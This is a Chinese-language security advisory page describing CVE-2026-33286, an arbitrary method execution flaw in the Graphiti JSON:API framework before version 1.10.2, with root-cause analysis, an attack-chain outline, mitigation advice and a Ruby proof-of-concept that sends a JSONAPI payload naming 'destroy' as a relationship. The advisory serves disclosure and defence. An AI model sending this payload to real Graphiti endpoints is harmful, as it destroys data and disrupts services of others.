IPBUF安全漏洞报告
English
CVE-2026-33286 CVSS 9.1 严重

CVE-2026-33286 Graphiti 任意方法执行漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33286
漏洞类型
任意方法执行
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Graphiti

相关标签

任意方法执行GraphitiRCEJSONAPICVE-2026-33286

漏洞概述

Graphiti是一个基于模型的JSON:API框架。在1.10.2版本之前,该框架存在任意方法执行漏洞,影响了其JSONAPI写入功能。攻击者可以通过构造恶意的JSONAPI载荷,利用任意关系名称来调用底层模型实例、类或其关联对象上的任何公共方法。该漏洞源于`Graphiti::Util::ValidationResponse#all_valid?`方法在未验证资源配置的sideloads的情况下,递归调用`model.send(name)`。任何向不可信用户暴露Graphiti写入端点(创建/更新/删除)的应用程序均受影响,可能导致数据破坏或服务中断。

技术细节

该漏洞的核心在于Graphiti处理JSONAPI写入请求时的验证逻辑缺陷。当应用程序接收到包含关系数据的JSONAPI载荷进行创建或更新操作时,`Graphiti::Util::ValidationResponse`类的`all_valid?`方法会被调用。该方法负责验证载荷中的关系是否有效。然而,在受影响版本中,代码直接从用户提供的JSONAPI载荷中提取关系名称,并将其作为参数传递给`model.send(name)`方法进行递归调用,而未对这些名称进行白名单验证或与资源配置的sideloads进行比对。由于Ruby的`send`方法可以调用对象的任意公共方法,攻击者可以利用此机制绕过预期的业务逻辑,调用模型实例、类或关联对象上的敏感方法(如`delete`、`destroy`或系统命令执行方法)。尽管`send`通常限制于公共方法,但在Rails等框架中,这足以造成严重的完整性和可用性破坏。

攻击链分析

STEP 1
信息收集
识别使用Graphiti框架且暴露了JSONAPI写入接口(POST/PATCH/DELETE)的目标应用程序。
STEP 2
载荷构造
构造恶意的JSONAPI载荷,在`relationships`字段中填入非预期的关系名称(如系统敏感方法名'destroy')。
STEP 3
发送请求
将恶意载荷发送至目标应用程序的写入端点(如创建或更新资源的接口)。
STEP 4
漏洞触发
应用程序解析载荷时,`Graphiti::Util::ValidationResponse#all_valid?`方法调用`model.send('destroy')`,导致任意方法执行。
STEP 5
达成影响
成功执行破坏性操作,导致数据被删除或服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
require 'net/http' require 'json' # Target URL (Example) uri = URI('http://target-url.com/api/v1/posts') http = Net::HTTP.new(uri.host, uri.port) # Create a POST request req = Net::HTTP::Post.new(uri.path, {'Content-Type' => 'application/vnd.api+json'}) # Malicious JSONAPI payload # The key 'destroy' inside 'relationships' is treated as a method name # and passed to model.send('destroy') payload = { data: { type: 'posts', attributes: { title: 'Exploit' }, relationships: { # Arbitrary method name to invoke on the model 'destroy': { data: { type: 'comments', id: '1' } } } } } req.body = payload.to_json # Send request response = http.request(req) puts "Response Code: #{response.code}" puts "Response Body: #{response.body}"

影响范围

Graphiti < 1.10.2

防御指南

临时缓解措施
如果无法立即升级,建议确保Graphiti写入端点(创建/更新)不对不可信用户开放,或在任何写入操作处理前应用严格的身份验证和授权检查,例如使用Rails强参数确保仅处理有效参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表